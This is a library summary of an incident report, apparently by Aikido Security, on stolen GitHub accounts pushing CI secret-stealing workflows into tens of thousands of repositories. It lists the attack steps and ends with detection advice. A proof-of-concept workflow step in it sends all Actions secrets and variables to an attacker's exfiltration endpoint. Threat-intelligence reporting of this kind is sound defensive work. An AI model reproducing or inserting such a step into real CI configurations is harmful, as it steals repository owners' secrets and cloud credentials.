# Compromised GitHub accounts push CI secret stealer to tens of thousands of repositories

Stolen GitHub tokens pushed malicious Actions workflows into ~61k repos, exfiltrating CI secrets and cloud credentials from ~6,500 that ran the payload.

- Payout: Real-world hack
- Severity: critical
- Program: GitHub
- Analysis by: Aikido Security
- Disclosed: 2026-11-12
- Write-up quality: 7/10
- Original: https://www.aikido.dev/blog/compromised-github-accounts-push-ci-secret-stealer-to-tens-of-thousands-of-repositories
- Library page: https://bugbountylibrary.com/r/blog%3Aaikido-dev-blog-compromised-github-accounts-push-ci-secret-stealer-to-tens-of-thousands-of-repositories
- Tags: area:oss domain:oss impact:data-leak impact:internal-access impact:mass-exploit kind:incident platform:threat-intel sev:critical tech:github-actions technique:recon vuln:secrets-leak

**Target:** GitHub Actions workflows and CI runners
**Root cause:** Stolen GitHub credentials with write access let the actor inject workflow steps or npm postinstall hooks that dump `${{ toJSON(secrets) }}` and runner/cloud credentials to an attacker endpoint, then revert and delete run logs.
**Steps:**
1. Open probe PR `docs: dependency audit notes` from branch `wfx-docs` to confirm write access
2. Push payload via one of: `ci: refresh build cache` (adds ~1,500 lines to existing workflow), `chore: add ci helper` (adds `.ci-xxxxxx.sh` + `postinstall` in `package.json`), or `chore: add dependency audit workflow` (new `.github/workflows/build-audit-xxxxxx.yml` on `chore/xxxxxxxx`)
3. Injected step sets `WF_CALLBACK: "http://194.150.166[.]244:8080/exfil"`, `WF_SECRETS: "${{ toJSON(secrets) }}"`, `WF_VARS: "${{ toJSON(vars) }}"` and posts them out
4. Revert commit within seconds and delete the workflow run and its logs
**How found:** Defender-side telemetry: GitHub search surfaced 61,839 probe PRs in a ~26-hour window, and sampling 1,500 repos showed 10.6% payload execution with run logs deleted in 156 of those 159, indicating deliberate log cleanup.
**Exploitation:** Actor iterated every repo a stolen token could write to, probed with a PR, injected the workflow/install hook, harvested Actions secrets, GITHUB_TOKEN, cache tokens, AWS/GCP/Azure metadata and OIDC creds, runner memory secrets and repo contents, then reverted and deleted run logs to cover tracks; payload also propagated into Packagist and Go packages via automated publishing triggers.
**Escalation:** Reused October GhostAction-compromised accounts (1000x more likely to be reused); in 100+ repos injected into existing October workflow files leaving prior exfil step intact; harvested cloud OIDC roles to pivot beyond GitHub.
**Insight:** A PR titled identically across tens of thousands of repos is a cheap write-access oracle; defenders should alert on burst PR creation from one account and on workflow runs whose logs are deleted seconds after creation, since a missing run number is often the only trace.

## Proof of concept (copied exactly from the original report)

**Injected workflow step exfiltrating secrets to attacker host**

```
- name: Pass runtime
 uses: actions/github-script@v7
 ...
- name: Restore cache j632
 env:
 WF_CALLBACK: "http://194.150.166[.]244:8080/exfil"
 WF_CTOKEN: "b42d70a7aab9140ca19e8249"
 WF_SECRETS: "${{ toJSON(secrets) }}"
 WF_VARS: "${{ toJSON(vars) }}"
```

